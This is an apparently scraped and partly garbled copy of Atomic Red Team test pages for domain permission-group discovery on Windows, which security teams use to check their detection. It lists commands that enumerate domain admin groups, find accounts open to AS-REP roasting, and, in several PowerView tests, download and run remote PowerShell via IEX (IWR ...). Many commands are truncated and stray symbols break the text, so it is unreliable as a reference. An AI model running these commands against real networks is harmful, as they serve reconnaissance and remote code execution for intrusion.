

> T1037.001

> T1037.002

> T1037.004

> T1037.005

> **T**1039

> T1040

displayed.

Supported Platforms: Windows

auto_generated_guid: dd66d77d-8998-48c0-8024-df263dc2ce5d

Attack Commands: Run with command_prompt!

```
net localgroup
net group /domain
net group "domain admins" /domain
net group "enterprise admins" /domain
```

Atomic Test #2 - Permission Groups Discovery PowerShell (Domain)

Permission Groups Discovery utilizing PowerShell. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain information will be displayed.

Supported Platforms: Windows

auto_generated_guid: 6d5d8c96-3d2a-4da9-9d6d-9a9d341899a7

Inputs:

Name	Description	Type Default Value	
user	User to identify what groups a user is a member of	String	administrator

Attack Commands: Run with powershell!

```
get-ADPrincipalGroupMembership #{user} | select name
```

Atomic Test #3 - Elevated group enumeration using net group (Domain)

Runs "net group" command including command aliases and loose typing to simulate enumeration/discovery of high value domain groups. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain information will be displayed.

Supported Platforms: Windows

auto_generated_guid: 0afb5163-8181-432e-9405-4322710c0c37

Attack Commands: Run with command_prompt!

```
net group /domai "Domain Admins"

net groups "Account Operators" /doma

net groups "Exchange Organization Management" /doma

net group "BUILTIN\Backup Operators" /doma
```

Atomic Test #4 - Find machines where user has local admin access (PowerView)

Find machines where user has local admin access (PowerView). Upon execution, progress and info about each host in the domain being scanned will be displayed.

Supported Platforms: Windows

auto_generated_guid: a2d71eee-a353-4232-9f86-54f4288dd8c1

Attack Commands: Run with powershell!

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType] IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/

Atomic Test #5 - Find local admins on all machines in domain (PowerView)

Enumerates members of the local Administrators groups across all machines in the domain. Upon execution, information about each machine will be displayed.

Supported Platforms: Windows

auto_generated_guid: a5f0d9f8-d3c9-46c0-8378-846ddd6b1cbd

Attack Commands: Run with powershell!

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType] IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/



Atomic Test #6 - Find Local Admins via Group Policy (PowerView)

takes a computer and determines who has admin rights over it through GPO enumeration. Upon execution, information about the machine will be displayed.

Supported Platforms: Windows

auto_generated_guid: 64fdb43b-5259-467a-b000-1b02c00e510a

Inputs:

Name	Description	Туре	Default Value
computer_name	hostname of the computer to analyze		\$env:COMPUTERNAME

Attack Commands: Run with powershell!

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType] IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/

Atomic Test #7 - Enumerate Users Not Requiring Pre Auth (ASRepRoast)

When successful, accounts that do not require kerberos pre-auth will be returned

Supported Platforms: Windows

auto_generated_guid: 870ba71e-6858-4f6d-895c-bb6237f6121b

Attack Commands: Run with powershell!

get-aduser -f * -pr DoesNotRequirePreAuth | where {\$_.DoesNotRequirePreA

Dependencies: Run with powershell!

Description: Computer must be domain joined.

Check Prereq Commands:

if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0}

Get Prereq Commands:

Write-Host Joining this computer to a domain must be done manually. \Box

Description: Requires the Active Directory module for powershell to be installed.

Check Prereq Commands:

if(Get-Module -ListAvailable -Name ActiveDirectory) {exit ∅} else {exit □

Get Prereq Commands:

Add-WindowsCapability -Online -Name "Rsat.ActiveDirectory.DS-LDS.Tools~~ 🗒

Atomic Test #8 - Adfind - Query Active Directory Groups

Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Groups reference- http://www.joeware.net/freetools/tools/adfind/,

https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html

Supported Platforms: Windows

auto generated guid: 48ddc687-82af-40b7-8472-ff1e742e8274

Inputs:

Name	Description	Туре	Default Value
adfind_path	Path to the AdFind executable	Path	PathToAtomicsFolder\T1087.002\src\AdFind.exe

Attack Commands: Run with command_prompt!

#{adfind_path} -f (objectcategory=group)

Dependencies: Run with powershell!

Description: AdFind.exe must exist on disk at specified location (#{adfind_path})

Check Prereq Commands:

if (Test-Path #{adfind_path}) {exit 0} else {exit 1}

Q

Q

Get Prereq Commands:

Atomic Test #9 - Enumerate Active Directory Groups with Get-AdGroup

The following Atomic test will utilize Get-AdGroup to enumerate groups within Active Directory. Upon successful execution a listing of groups will output with their paths in AD. Reference: https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-adgroup?view=windowsserver2022-ps

Supported Platforms: Windows

Get-AdGroup -Filter *

.....

auto_generated_guid: 3d1fcd2a-e51c-4cbe-8d84-9a843bad8dc8

Attack Commands: Run with powershell!

Atomic Test #10 - Enumerate Active Directory Groups with ADSISearcher

The following Atomic test will utilize ADSISearcher to enumerate groups within Active Directory. Upon successful execution a listing of groups will output with their paths in AD. Reference: https://devblogs.microsoft.com/scripting/use-the-powershell-adsisearcher-type-accelerator-to-search-active-directory/

Supported Platforms: Windows

auto_generated_guid: 9f4e344b-8434-41b3-85b1-d38f29d148d0

Attack Commands: Run with powershell!

([adsisearcher]"objectcategory=group").FindAll(); ([adsisearcher]"object ☐

Atomic Test #11 - Get-ADUser Enumeration using UserAccountControl flags (AS-REP Roasting)

When successful, accounts that do not require kerberos pre-auth will be returned. Reference: https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html

Supported Platforms: Windows auto_generated_guid: 43fa81fb-34bb-4b5f-867b-03c7dbe0e3d8 Attack Commands: Run with powershell! Get-ADUser -Filter 'useraccountcontrol -band 4194304' -Properties userac □ Dependencies: Run with powershell! Description: Computer must be domain joined. **Check Prereq Commands:** if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} **Get Prereq Commands:** Q Write-Host Joining this computer to a domain must be done manually. Description: Requires the Active Directory module for powershell to be installed. **Check Prereq Commands:** if(Get-Module -ListAvailable -Name ActiveDirectory) {exit 0} else {exit **Get Prereq Commands:** Add-WindowsCapability -Online -Name "Rsat.ActiveDirectory.DS-LDS.Tools~~

Atomic Test #12 - Get-DomainGroupMember with **PowerView**

Utilizing PowerView, run Get-DomainGroupMember to identify domain users. Upon execution, progress and info about groups within the domain being scanned will be displayed.

Supported Platforms: Windows

auto_generated_guid: 46352f40-f283-4fe5-b56d-d9a71750e145

Attack Commands: Run with powershell!

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType] IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/

Atomic Test #13 - Get-DomainGroup with PowerView

Utilizing PowerView, run Get-DomainGroup to identify the domain groups. Upon execution, Groups within the domain will be listed.

Supported Platforms: Windows

auto_generated_guid: 5a8a181c-2c8e-478d-a943-549305a01230

```
Attack Commands: Run with powershell!
```

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/